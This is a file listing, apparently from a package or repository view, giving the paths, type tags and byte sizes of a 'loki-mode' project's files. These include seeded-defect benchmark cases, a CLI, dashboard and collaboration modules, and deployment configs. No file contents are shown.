  • benchmarks/seeded-defects/cases/SD-0025/src.pyruns143 bytes
  • benchmarks/seeded-defects/cases/SD-0025/test_visible.pyruns271 bytes
  • benchmarks/seeded-defects/cases/SD-0026/check.pyruns240 bytes
  • benchmarks/seeded-defects/cases/SD-0026/spec.mddoc118 bytes
  • benchmarks/seeded-defects/cases/SD-0026/src.pyruns138 bytes
  • benchmarks/seeded-defects/cases/SD-0026/test_visible.pyruns267 bytes
  • benchmarks/seeded-defects/cases/SD-0027/check.pyruns238 bytes
  • benchmarks/seeded-defects/cases/SD-0027/spec.mddoc118 bytes
  • benchmarks/seeded-defects/cases/SD-0027/src.pyruns138 bytes
  • benchmarks/seeded-defects/cases/SD-0027/test_visible.pyruns267 bytes
  • benchmarks/seeded-defects/cases/SD-0028/check.pyruns236 bytes
  • benchmarks/seeded-defects/cases/SD-0028/spec.mddoc118 bytes
  • benchmarks/seeded-defects/cases/SD-0028/src.pyruns138 bytes
  • benchmarks/seeded-defects/cases/SD-0028/test_visible.pyruns267 bytes
  • benchmarks/seeded-defects/cases/SD-0029/check.pyruns242 bytes
  • benchmarks/seeded-defects/cases/SD-0029/spec.mddoc118 bytes
  • benchmarks/seeded-defects/cases/SD-0029/src.pyruns138 bytes
  • benchmarks/seeded-defects/cases/SD-0029/test_visible.pyruns267 bytes
  • benchmarks/seeded-defects/cases/SD-0030/check.pyruns244 bytes
  • benchmarks/seeded-defects/cases/SD-0030/spec.mddoc118 bytes
  • benchmarks/seeded-defects/cases/SD-0030/src.pyruns138 bytes
  • benchmarks/seeded-defects/cases/SD-0030/test_visible.pyruns267 bytes
  • benchmarks/seeded-defects/cases/SD-0031/check.pyruns226 bytes
  • benchmarks/seeded-defects/cases/SD-0031/spec.mddoc104 bytes
  • benchmarks/seeded-defects/cases/SD-0031/src.pyruns152 bytes
  • benchmarks/seeded-defects/cases/SD-0031/test_visible.pyruns233 bytes
  • benchmarks/seeded-defects/cases/SD-0032/check.pyruns226 bytes
  • benchmarks/seeded-defects/cases/SD-0032/spec.mddoc104 bytes
  • benchmarks/seeded-defects/cases/SD-0032/src.pyruns152 bytes
  • benchmarks/seeded-defects/cases/SD-0032/test_visible.pyruns233 bytes
  • benchmarks/seeded-defects/cases/SD-0033/check.pyruns226 bytes
  • benchmarks/seeded-defects/cases/SD-0033/spec.mddoc104 bytes
  • benchmarks/seeded-defects/cases/SD-0033/src.pyruns152 bytes
  • benchmarks/seeded-defects/cases/SD-0033/test_visible.pyruns237 bytes
  • benchmarks/seeded-defects/cases/SD-0034/check.pyruns226 bytes
  • benchmarks/seeded-defects/cases/SD-0034/spec.mddoc104 bytes
  • benchmarks/seeded-defects/cases/SD-0034/src.pyruns152 bytes
  • benchmarks/seeded-defects/cases/SD-0034/test_visible.pyruns234 bytes
  • benchmarks/seeded-defects/cases/SD-0035/check.pyruns226 bytes
  • benchmarks/seeded-defects/cases/SD-0035/spec.mddoc104 bytes
  • benchmarks/seeded-defects/cases/SD-0035/src.pyruns152 bytes
  • benchmarks/seeded-defects/cases/SD-0035/test_visible.pyruns227 bytes
  • benchmarks/seeded-defects/cases/SD-0036/check.pyruns347 bytes
  • benchmarks/seeded-defects/cases/SD-0036/spec.mddoc108 bytes
  • benchmarks/seeded-defects/cases/SD-0036/src.pyruns152 bytes
  • benchmarks/seeded-defects/cases/SD-0036/test_visible.pyruns277 bytes
  • benchmarks/seeded-defects/cases/SD-0037/check.pyruns532 bytes
  • benchmarks/seeded-defects/cases/SD-0037/spec.mddoc109 bytes
  • benchmarks/seeded-defects/cases/SD-0037/src.pyruns154 bytes
  • benchmarks/seeded-defects/cases/SD-0037/test_visible.pyruns353 bytes
  • benchmarks/seeded-defects/cases/SD-0038/check.pyruns312 bytes
  • benchmarks/seeded-defects/cases/SD-0038/spec.mddoc108 bytes
  • benchmarks/seeded-defects/cases/SD-0038/src.pyruns152 bytes
  • benchmarks/seeded-defects/cases/SD-0038/test_visible.pyruns262 bytes
  • benchmarks/seeded-defects/cases/SD-0039/check.pyruns707 bytes
  • benchmarks/seeded-defects/cases/SD-0039/spec.mddoc109 bytes
  • benchmarks/seeded-defects/cases/SD-0039/src.pyruns154 bytes
  • benchmarks/seeded-defects/cases/SD-0039/test_visible.pyruns428 bytes
  • benchmarks/seeded-defects/cases/SD-0040/check.pyruns377 bytes
  • benchmarks/seeded-defects/cases/SD-0040/spec.mddoc108 bytes
  • benchmarks/seeded-defects/cases/SD-0040/src.pyruns152 bytes
  • benchmarks/seeded-defects/cases/SD-0040/test_visible.pyruns287 bytes
  • benchmarks/seeded-defects/cases/SD-0041/check.pyruns237 bytes
  • benchmarks/seeded-defects/cases/SD-0041/spec.mddoc71 bytes
  • benchmarks/seeded-defects/cases/SD-0041/src.pyruns148 bytes
  • benchmarks/seeded-defects/cases/SD-0041/test_visible.pyruns247 bytes
  • benchmarks/seeded-defects/cases/SD-0042/check.pyruns237 bytes
  • benchmarks/seeded-defects/cases/SD-0042/spec.mddoc71 bytes
  • benchmarks/seeded-defects/cases/SD-0042/src.pyruns150 bytes
  • benchmarks/seeded-defects/cases/SD-0042/test_visible.pyruns249 bytes
  • benchmarks/seeded-defects/cases/SD-0043/check.pyruns240 bytes
  • benchmarks/seeded-defects/cases/SD-0043/spec.mddoc71 bytes
  • benchmarks/seeded-defects/cases/SD-0043/src.pyruns149 bytes
  • benchmarks/seeded-defects/cases/SD-0043/test_visible.pyruns248 bytes
  • benchmarks/seeded-defects/cases/SD-0044/check.pyruns240 bytes
  • benchmarks/seeded-defects/cases/SD-0044/spec.mddoc71 bytes
  • benchmarks/seeded-defects/cases/SD-0044/src.pyruns150 bytes
  • benchmarks/seeded-defects/cases/SD-0044/test_visible.pyruns249 bytes
  • benchmarks/seeded-defects/cases/SD-0045/check.pyruns240 bytes
  • benchmarks/seeded-defects/cases/SD-0045/spec.mddoc71 bytes
  • benchmarks/seeded-defects/cases/SD-0045/src.pyruns151 bytes
  • benchmarks/seeded-defects/cases/SD-0045/test_visible.pyruns250 bytes
  • benchmarks/seeded-defects/cases/SD-0046/check.pyruns277 bytes
  • benchmarks/seeded-defects/cases/SD-0046/spec.mddoc92 bytes
  • benchmarks/seeded-defects/cases/SD-0046/src.pyruns167 bytes
  • benchmarks/seeded-defects/cases/SD-0046/test_visible.pyruns250 bytes
  • benchmarks/seeded-defects/cases/SD-0047/check.pyruns286 bytes
  • benchmarks/seeded-defects/cases/SD-0047/spec.mddoc92 bytes
  • benchmarks/seeded-defects/cases/SD-0047/src.pyruns151 bytes
  • benchmarks/seeded-defects/cases/SD-0047/test_visible.pyruns234 bytes
  • benchmarks/seeded-defects/cases/SD-0048/check.pyruns286 bytes
  • benchmarks/seeded-defects/cases/SD-0048/spec.mddoc92 bytes
  • benchmarks/seeded-defects/cases/SD-0048/src.pyruns173 bytes
  • benchmarks/seeded-defects/cases/SD-0048/test_visible.pyruns273 bytes
  • benchmarks/seeded-defects/cases/SD-0049/check.pyruns268 bytes
  • benchmarks/seeded-defects/cases/SD-0049/spec.mddoc92 bytes
  • benchmarks/seeded-defects/cases/SD-0049/src.pyruns159 bytes
  • benchmarks/seeded-defects/cases/SD-0049/test_visible.pyruns242 bytes
  • benchmarks/seeded-defects/cases/SD-0050/check.pyruns283 bytes
  • benchmarks/seeded-defects/cases/SD-0050/spec.mddoc92 bytes
  • benchmarks/seeded-defects/cases/SD-0050/src.pyruns155 bytes
  • benchmarks/seeded-defects/cases/SD-0050/test_visible.pyruns238 bytes
  • benchmarks/seeded-defects/cases/SD-0051/check.pyruns248 bytes
  • benchmarks/seeded-defects/cases/SD-0051/spec.mddoc84 bytes
  • benchmarks/seeded-defects/cases/SD-0051/src.pyruns198 bytes
  • benchmarks/seeded-defects/cases/SD-0051/test_visible.pyruns248 bytes
  • benchmarks/seeded-defects/cases/SD-0052/check.pyruns251 bytes
  • benchmarks/seeded-defects/cases/SD-0052/spec.mddoc84 bytes
  • benchmarks/seeded-defects/cases/SD-0052/src.pyruns198 bytes
  • benchmarks/seeded-defects/cases/SD-0052/test_visible.pyruns248 bytes
  • benchmarks/seeded-defects/cases/SD-0053/check.pyruns248 bytes
  • benchmarks/seeded-defects/cases/SD-0053/spec.mddoc84 bytes
  • benchmarks/seeded-defects/cases/SD-0053/src.pyruns198 bytes
  • benchmarks/seeded-defects/cases/SD-0053/test_visible.pyruns248 bytes
  • benchmarks/seeded-defects/cases/SD-0054/check.pyruns249 bytes
  • benchmarks/seeded-defects/cases/SD-0054/spec.mddoc84 bytes
  • benchmarks/seeded-defects/cases/SD-0054/src.pyruns198 bytes
  • benchmarks/seeded-defects/cases/SD-0054/test_visible.pyruns248 bytes
  • benchmarks/seeded-defects/cases/SD-0055/check.pyruns249 bytes
  • benchmarks/seeded-defects/cases/SD-0055/spec.mddoc84 bytes
  • benchmarks/seeded-defects/cases/SD-0055/src.pyruns198 bytes
  • benchmarks/seeded-defects/cases/SD-0055/test_visible.pyruns248 bytes
  • benchmarks/seeded-defects/cases/SD-0056/check.pyruns260 bytes
  • benchmarks/seeded-defects/cases/SD-0056/spec.mddoc117 bytes
  • benchmarks/seeded-defects/cases/SD-0056/src.pyruns146 bytes
  • benchmarks/seeded-defects/cases/SD-0056/test_visible.pyruns233 bytes
  • benchmarks/seeded-defects/cases/SD-0057/check.pyruns262 bytes
  • benchmarks/seeded-defects/cases/SD-0057/spec.mddoc117 bytes
  • benchmarks/seeded-defects/cases/SD-0057/src.pyruns146 bytes
  • benchmarks/seeded-defects/cases/SD-0057/test_visible.pyruns243 bytes
  • benchmarks/seeded-defects/cases/SD-0058/check.pyruns246 bytes
  • benchmarks/seeded-defects/cases/SD-0058/spec.mddoc117 bytes
  • benchmarks/seeded-defects/cases/SD-0058/src.pyruns146 bytes
  • benchmarks/seeded-defects/cases/SD-0058/test_visible.pyruns238 bytes
  • benchmarks/seeded-defects/cases/SD-0059/check.pyruns254 bytes
  • benchmarks/seeded-defects/cases/SD-0059/spec.mddoc117 bytes
  • benchmarks/seeded-defects/cases/SD-0059/src.pyruns146 bytes
  • benchmarks/seeded-defects/cases/SD-0059/test_visible.pyruns237 bytes
  • benchmarks/seeded-defects/cases/SD-0060/check.pyruns276 bytes
  • benchmarks/seeded-defects/cases/SD-0060/spec.mddoc117 bytes
  • benchmarks/seeded-defects/cases/SD-0060/src.pyruns146 bytes
  • benchmarks/seeded-defects/cases/SD-0060/test_visible.pyruns237 bytes
  • benchmarks/seeded-defects/cases/SD-0061/check.pyruns256 bytes
  • benchmarks/seeded-defects/cases/SD-0061/spec.mddoc75 bytes
  • benchmarks/seeded-defects/cases/SD-0061/src.pyruns147 bytes
  • benchmarks/seeded-defects/cases/SD-0061/test_visible.pyruns335 bytes
  • benchmarks/seeded-defects/cases/SD-0062/check.pyruns254 bytes
  • benchmarks/seeded-defects/cases/SD-0062/spec.mddoc76 bytes
  • benchmarks/seeded-defects/cases/SD-0062/src.pyruns148 bytes
  • benchmarks/seeded-defects/cases/SD-0062/test_visible.pyruns334 bytes
  • benchmarks/seeded-defects/cases/SD-0063/check.pyruns254 bytes
  • benchmarks/seeded-defects/cases/SD-0063/spec.mddoc75 bytes
  • benchmarks/seeded-defects/cases/SD-0063/src.pyruns147 bytes
  • benchmarks/seeded-defects/cases/SD-0063/test_visible.pyruns334 bytes
  • benchmarks/seeded-defects/cases/SD-0064/check.pyruns257 bytes
  • benchmarks/seeded-defects/cases/SD-0064/spec.mddoc76 bytes
  • benchmarks/seeded-defects/cases/SD-0064/src.pyruns148 bytes
  • benchmarks/seeded-defects/cases/SD-0064/test_visible.pyruns337 bytes
  • benchmarks/seeded-defects/cases/SD-0065/check.pyruns254 bytes
  • benchmarks/seeded-defects/cases/SD-0065/spec.mddoc75 bytes
  • benchmarks/seeded-defects/cases/SD-0065/src.pyruns147 bytes
  • benchmarks/seeded-defects/cases/SD-0065/test_visible.pyruns334 bytes
  • benchmarks/seeded-defects/cases/SD-0066/check.pyruns250 bytes
  • benchmarks/seeded-defects/cases/SD-0066/spec.mddoc73 bytes
  • benchmarks/seeded-defects/cases/SD-0066/src.pyruns141 bytes
  • benchmarks/seeded-defects/cases/SD-0066/test_visible.pyruns329 bytes
  • benchmarks/seeded-defects/cases/SD-0067/check.pyruns252 bytes
  • benchmarks/seeded-defects/cases/SD-0067/spec.mddoc73 bytes
  • benchmarks/seeded-defects/cases/SD-0067/src.pyruns141 bytes
  • benchmarks/seeded-defects/cases/SD-0067/test_visible.pyruns330 bytes
  • benchmarks/seeded-defects/cases/SD-0068/check.pyruns252 bytes
  • benchmarks/seeded-defects/cases/SD-0068/spec.mddoc75 bytes
  • benchmarks/seeded-defects/cases/SD-0068/src.pyruns143 bytes
  • benchmarks/seeded-defects/cases/SD-0068/test_visible.pyruns333 bytes
  • benchmarks/seeded-defects/cases/SD-0069/check.pyruns250 bytes
  • benchmarks/seeded-defects/cases/SD-0069/spec.mddoc73 bytes
  • benchmarks/seeded-defects/cases/SD-0069/src.pyruns141 bytes
  • benchmarks/seeded-defects/cases/SD-0069/test_visible.pyruns329 bytes
  • benchmarks/seeded-defects/cases/SD-0070/check.pyruns254 bytes
  • benchmarks/seeded-defects/cases/SD-0070/spec.mddoc75 bytes
  • benchmarks/seeded-defects/cases/SD-0070/src.pyruns143 bytes
  • benchmarks/seeded-defects/cases/SD-0070/test_visible.pyruns334 bytes
  • benchmarks/seeded-defects/cases/SD-0071/check.pyruns247 bytes
  • benchmarks/seeded-defects/cases/SD-0071/spec.mddoc75 bytes
  • benchmarks/seeded-defects/cases/SD-0071/src.pyruns142 bytes
  • benchmarks/seeded-defects/cases/SD-0071/test_visible.pyruns325 bytes
  • benchmarks/seeded-defects/cases/SD-0072/check.pyruns249 bytes
  • benchmarks/seeded-defects/cases/SD-0072/spec.mddoc77 bytes
  • benchmarks/seeded-defects/cases/SD-0072/src.pyruns144 bytes
  • benchmarks/seeded-defects/cases/SD-0072/test_visible.pyruns329 bytes
  • benchmarks/seeded-defects/cases/SD-0073/check.pyruns248 bytes
  • benchmarks/seeded-defects/cases/SD-0073/spec.mddoc75 bytes
  • benchmarks/seeded-defects/cases/SD-0073/src.pyruns142 bytes
  • benchmarks/seeded-defects/cases/SD-0073/test_visible.pyruns327 bytes
  • benchmarks/seeded-defects/cases/SD-0074/check.pyruns250 bytes
  • benchmarks/seeded-defects/cases/SD-0074/spec.mddoc78 bytes
  • benchmarks/seeded-defects/cases/SD-0074/src.pyruns145 bytes
  • benchmarks/seeded-defects/cases/SD-0074/test_visible.pyruns331 bytes
  • benchmarks/seeded-defects/cases/SD-0075/check.pyruns248 bytes
  • benchmarks/seeded-defects/cases/SD-0075/spec.mddoc75 bytes
  • benchmarks/seeded-defects/cases/SD-0075/src.pyruns142 bytes
  • benchmarks/seeded-defects/cases/SD-0075/test_visible.pyruns327 bytes
  • benchmarks/seeded-defects/cases/SD-0076/check.pyruns243 bytes
  • benchmarks/seeded-defects/cases/SD-0076/spec.mddoc80 bytes
  • benchmarks/seeded-defects/cases/SD-0076/src.pyruns146 bytes
  • benchmarks/seeded-defects/cases/SD-0076/test_visible.pyruns322 bytes
  • benchmarks/seeded-defects/cases/SD-0077/check.pyruns245 bytes
  • benchmarks/seeded-defects/cases/SD-0077/spec.mddoc80 bytes
  • benchmarks/seeded-defects/cases/SD-0077/src.pyruns146 bytes
  • benchmarks/seeded-defects/cases/SD-0077/test_visible.pyruns323 bytes
  • benchmarks/seeded-defects/cases/SD-0078/check.pyruns243 bytes
  • benchmarks/seeded-defects/cases/SD-0078/spec.mddoc82 bytes
  • benchmarks/seeded-defects/cases/SD-0078/src.pyruns148 bytes
  • benchmarks/seeded-defects/cases/SD-0078/test_visible.pyruns322 bytes
  • benchmarks/seeded-defects/cases/SD-0079/check.pyruns249 bytes
  • benchmarks/seeded-defects/cases/SD-0079/spec.mddoc80 bytes
  • benchmarks/seeded-defects/cases/SD-0079/src.pyruns146 bytes
  • benchmarks/seeded-defects/cases/SD-0079/test_visible.pyruns325 bytes
  • benchmarks/seeded-defects/cases/SD-0080/check.pyruns246 bytes
  • benchmarks/seeded-defects/cases/SD-0080/spec.mddoc82 bytes
  • benchmarks/seeded-defects/cases/SD-0080/src.pyruns148 bytes
  • benchmarks/seeded-defects/cases/SD-0080/test_visible.pyruns325 bytes
  • benchmarks/seeded-defects/cases/SD-0081/check.pyruns336 bytes
  • benchmarks/seeded-defects/cases/SD-0081/spec.mddoc121 bytes
  • benchmarks/seeded-defects/cases/SD-0081/src.pyruns183 bytes
  • benchmarks/seeded-defects/cases/SD-0081/test_visible.pyruns247 bytes
  • benchmarks/seeded-defects/cases/SD-0082/check.pyruns354 bytes
  • benchmarks/seeded-defects/cases/SD-0082/spec.mddoc121 bytes
  • benchmarks/seeded-defects/cases/SD-0082/src.pyruns183 bytes
  • benchmarks/seeded-defects/cases/SD-0082/test_visible.pyruns247 bytes
  • benchmarks/seeded-defects/cases/SD-0083/check.pyruns338 bytes
  • benchmarks/seeded-defects/cases/SD-0083/spec.mddoc121 bytes
  • benchmarks/seeded-defects/cases/SD-0083/src.pyruns183 bytes
  • benchmarks/seeded-defects/cases/SD-0083/test_visible.pyruns247 bytes
  • benchmarks/seeded-defects/cases/SD-0084/check.pyruns332 bytes
  • benchmarks/seeded-defects/cases/SD-0084/spec.mddoc121 bytes
  • benchmarks/seeded-defects/cases/SD-0084/src.pyruns183 bytes
  • benchmarks/seeded-defects/cases/SD-0084/test_visible.pyruns247 bytes
  • benchmarks/seeded-defects/cases/SD-0085/check.pyruns350 bytes
  • benchmarks/seeded-defects/cases/SD-0085/spec.mddoc121 bytes
  • benchmarks/seeded-defects/cases/SD-0085/src.pyruns183 bytes
  • benchmarks/seeded-defects/cases/SD-0085/test_visible.pyruns247 bytes
  • benchmarks/seeded-defects/cases/SD-0086/check.pyruns490 bytes
  • benchmarks/seeded-defects/cases/SD-0086/spec.mddoc131 bytes
  • benchmarks/seeded-defects/cases/SD-0086/src.pyruns203 bytes
  • benchmarks/seeded-defects/cases/SD-0086/test_visible.pyruns400 bytes
  • benchmarks/seeded-defects/cases/SD-0087/check.pyruns497 bytes
  • benchmarks/seeded-defects/cases/SD-0087/spec.mddoc134 bytes
  • benchmarks/seeded-defects/cases/SD-0087/src.pyruns206 bytes
  • benchmarks/seeded-defects/cases/SD-0087/test_visible.pyruns406 bytes
  • benchmarks/seeded-defects/cases/SD-0088/check.pyruns494 bytes
  • benchmarks/seeded-defects/cases/SD-0088/spec.mddoc133 bytes
  • benchmarks/seeded-defects/cases/SD-0088/src.pyruns205 bytes
  • benchmarks/seeded-defects/cases/SD-0088/test_visible.pyruns404 bytes
  • benchmarks/seeded-defects/cases/SD-0089/check.pyruns504 bytes
  • benchmarks/seeded-defects/cases/SD-0089/spec.mddoc132 bytes
  • benchmarks/seeded-defects/cases/SD-0089/src.pyruns204 bytes
  • benchmarks/seeded-defects/cases/SD-0089/test_visible.pyruns402 bytes
  • benchmarks/seeded-defects/cases/SD-0090/check.pyruns512 bytes
  • benchmarks/seeded-defects/cases/SD-0090/spec.mddoc131 bytes
  • benchmarks/seeded-defects/cases/SD-0090/src.pyruns203 bytes
  • benchmarks/seeded-defects/cases/SD-0090/test_visible.pyruns400 bytes
  • benchmarks/seeded-defects/cases/SD-0091/check.pyruns357 bytes
  • benchmarks/seeded-defects/cases/SD-0091/spec.mddoc89 bytes
  • benchmarks/seeded-defects/cases/SD-0091/src.pyruns152 bytes
  • benchmarks/seeded-defects/cases/SD-0091/test_visible.pyruns242 bytes
  • benchmarks/seeded-defects/cases/SD-0092/check.pyruns366 bytes
  • benchmarks/seeded-defects/cases/SD-0092/spec.mddoc89 bytes
  • benchmarks/seeded-defects/cases/SD-0092/src.pyruns152 bytes
  • benchmarks/seeded-defects/cases/SD-0092/test_visible.pyruns242 bytes
  • benchmarks/seeded-defects/cases/SD-0093/check.pyruns312 bytes
  • benchmarks/seeded-defects/cases/SD-0093/spec.mddoc89 bytes
  • benchmarks/seeded-defects/cases/SD-0093/src.pyruns152 bytes
  • benchmarks/seeded-defects/cases/SD-0093/test_visible.pyruns242 bytes
  • benchmarks/seeded-defects/cases/SD-0094/check.pyruns345 bytes
  • benchmarks/seeded-defects/cases/SD-0094/spec.mddoc89 bytes
  • benchmarks/seeded-defects/cases/SD-0094/src.pyruns152 bytes
  • benchmarks/seeded-defects/cases/SD-0094/test_visible.pyruns242 bytes
  • benchmarks/seeded-defects/cases/SD-0095/check.pyruns318 bytes
  • benchmarks/seeded-defects/cases/SD-0095/spec.mddoc89 bytes
  • benchmarks/seeded-defects/cases/SD-0095/src.pyruns152 bytes
  • benchmarks/seeded-defects/cases/SD-0095/test_visible.pyruns242 bytes
  • benchmarks/seeded-defects/cases/SD-0096/check.pyruns361 bytes
  • benchmarks/seeded-defects/cases/SD-0096/spec.mddoc133 bytes
  • benchmarks/seeded-defects/cases/SD-0096/src.pyruns145 bytes
  • benchmarks/seeded-defects/cases/SD-0096/test_visible.pyruns242 bytes
  • benchmarks/seeded-defects/cases/SD-0097/check.pyruns359 bytes
  • benchmarks/seeded-defects/cases/SD-0097/spec.mddoc133 bytes
  • benchmarks/seeded-defects/cases/SD-0097/src.pyruns145 bytes
  • benchmarks/seeded-defects/cases/SD-0097/test_visible.pyruns242 bytes
  • benchmarks/seeded-defects/cases/SD-0098/check.pyruns351 bytes
  • benchmarks/seeded-defects/cases/SD-0098/spec.mddoc133 bytes
  • benchmarks/seeded-defects/cases/SD-0098/src.pyruns145 bytes
  • benchmarks/seeded-defects/cases/SD-0098/test_visible.pyruns242 bytes
  • benchmarks/seeded-defects/cases/SD-0099/check.pyruns363 bytes
  • benchmarks/seeded-defects/cases/SD-0099/spec.mddoc133 bytes
  • benchmarks/seeded-defects/cases/SD-0099/src.pyruns145 bytes
  • benchmarks/seeded-defects/cases/SD-0099/test_visible.pyruns242 bytes
  • benchmarks/seeded-defects/cases/SD-0100/check.pyruns371 bytes
  • benchmarks/seeded-defects/cases/SD-0100/spec.mddoc133 bytes
  • benchmarks/seeded-defects/cases/SD-0100/src.pyruns145 bytes
  • benchmarks/seeded-defects/cases/SD-0100/test_visible.pyruns242 bytes
  • benchmarks/seeded-defects/generate.pyruns21,380 bytes
  • benchmarks/seeded-defects/manifest.jsonasset45,011 bytes
  • benchmarks/seeded-defects/measure.pyruns22,072 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0001/base/src.pyruns123 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0001/base/test_visible.pyruns194 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0001/base/tests/test_clause.pyruns258 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0001/head/src.pyruns115 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0001/head/test_visible.pyruns194 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0001/head/tests/test_clause.pyruns258 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0001/issue.mddoc205 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0002/base/src.pyruns123 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0002/base/test_visible.pyruns194 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0002/base/tests/test_clause.pyruns258 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0002/head/src.pyruns119 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0002/head/test_visible.pyruns194 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0002/head/tests/test_clause.pyruns258 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0002/issue.mddoc205 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0003/base/src.pyruns103 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0003/base/test_visible.pyruns213 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0003/base/tests/test_clause.pyruns293 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0003/head/src.pyruns111 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0003/head/test_visible.pyruns213 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0003/head/tests/test_clause.pyruns293 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0003/issue.mddoc214 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0004/base/src.pyruns103 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0004/base/test_visible.pyruns213 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0004/base/tests/test_clause.pyruns293 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0004/head/src.pyruns119 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0004/head/test_visible.pyruns213 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0004/head/tests/test_clause.pyruns293 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0004/issue.mddoc214 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0005/base/src.pyruns94 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0005/base/test_visible.pyruns192 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0005/base/tests/test_clause.pyruns252 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0005/head/src.pyruns126 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0005/head/test_visible.pyruns192 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0005/head/tests/test_clause.pyruns252 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0005/issue.mddoc128 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0006/base/src.pyruns140 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0006/base/test_visible.pyruns220 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0006/base/tests/test_clause.pyruns359 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0006/head/src.pyruns148 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0006/head/test_visible.pyruns221 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0006/head/tests/test_clause.pyruns359 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0006/issue.mddoc230 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0007/base/src.pyruns145 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0007/base/test_visible.pyruns198 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0007/base/tests/test_clause.pyruns289 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0007/head/src.pyruns154 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0007/head/test_visible.pyruns227 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0007/head/tests/test_clause.pyruns289 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0007/issue.mddoc171 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0008/base/src.pyruns110 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0008/base/test_visible.pyruns202 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0008/head/src.pyruns117 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0008/head/test_visible.pyruns202 bytes
  • benchmarks/seeded-defects/pr-cases/PR-0008/issue.mddoc54 bytes
  • benchmarks/seeded-defects/pr-manifest.jsonasset4,744 bytes
  • benchmarks/seeded-defects/results/wrong-pass.jsonasset7,195 bytes
  • bin/lokiruns50,037 bytes
  • bin/loki-mode.jsruns1,145 bytes
  • bin/loki-postinstall.jsruns721 bytes
  • claude/hooks/loki-session-end.shruns2,944 bytes
  • collab/__init__.pyruns1,851 bytes
  • collab/api.pyruns16,573 bytes
  • collab/presence.pyruns22,057 bytes
  • collab/sync.pyruns26,478 bytes
  • collab/websocket.pyruns14,955 bytes
  • completions/_lokiasset29,984 bytes
  • completions/loki.bashruns16,816 bytes
  • config/otel-collector/loki-collector.yamlasset1,668 bytes
  • dashboard/.dockerignoreasset594 bytes
  • dashboard/Dockerfileruns2,801 bytes
  • dashboard/__init__.pyruns251 bytes
  • dashboard/activity_logger.pyruns9,062 bytes
  • dashboard/api_evidence.pyruns16,105 bytes
  • dashboard/api_keys.pyruns11,634 bytes
  • dashboard/api_operator.pyruns13,953 bytes
  • dashboard/api_phases.pyruns10,331 bytes
  • dashboard/api_releases.pyruns9,992 bytes
  • dashboard/api_runs.pyruns21,652 bytes
  • dashboard/api_runs_v1.pyruns2,673 bytes
  • dashboard/api_start.pyruns18,450 bytes
  • dashboard/api_tests.pyruns19,196 bytes
  • dashboard/api_v2.pyruns36,061 bytes
  • dashboard/api_workspaces.pyruns4,789 bytes
  • dashboard/app_secrets.pyruns4,547 bytes
  • dashboard/audit.pyruns43,763 bytes
  • dashboard/auth.pyruns26,604 bytes
  • dashboard/build_supervisor.pyruns48,321 bytes
  • dashboard/control.pyruns13,271 bytes
  • dashboard/database.pyruns3,677 bytes
  • dashboard/docker-compose.ymlasset1,475 bytes
  • dashboard/failure_extractor.pyruns8,298 bytes
  • dashboard/migration_engine.pyruns52,997 bytes
  • dashboard/models.pyruns10,854 bytes
  • dashboard/prompt_optimizer.pyruns11,000 bytes
  • dashboard/registry.pyruns33,779 bytes
  • dashboard/requirements.txtdoc640 bytes
  • dashboard/rigour_integration.pyruns12,931 bytes
  • dashboard/runs.pyruns11,099 bytes
  • dashboard/secure_tmp.pyruns3,043 bytes
  • dashboard/server.pyruns559,380 bytes
  • dashboard/telemetry.pyruns9,473 bytes
  • dashboard/tenants.pyruns8,064 bytes
  • deploy/docker-compose/.env.exampleasset3,129 bytes
  • deploy/docker-compose/README.mddoc4,617 bytes
  • deploy/docker-compose/docker-compose.ymlasset3,238 bytes
  • deploy/docker-compose/otel-config.yamlasset697 bytes
  • deploy/ecs/README.mddoc922 bytes
  • deploy/ecs/control-plane-task.jsonasset1,847 bytes
  • deploy/helm/README.mddoc21,527 bytes
  • deploy/helm/autonomi/.helmignoreasset131 bytes
  • deploy/helm/autonomi/Chart.yamlasset339 bytes
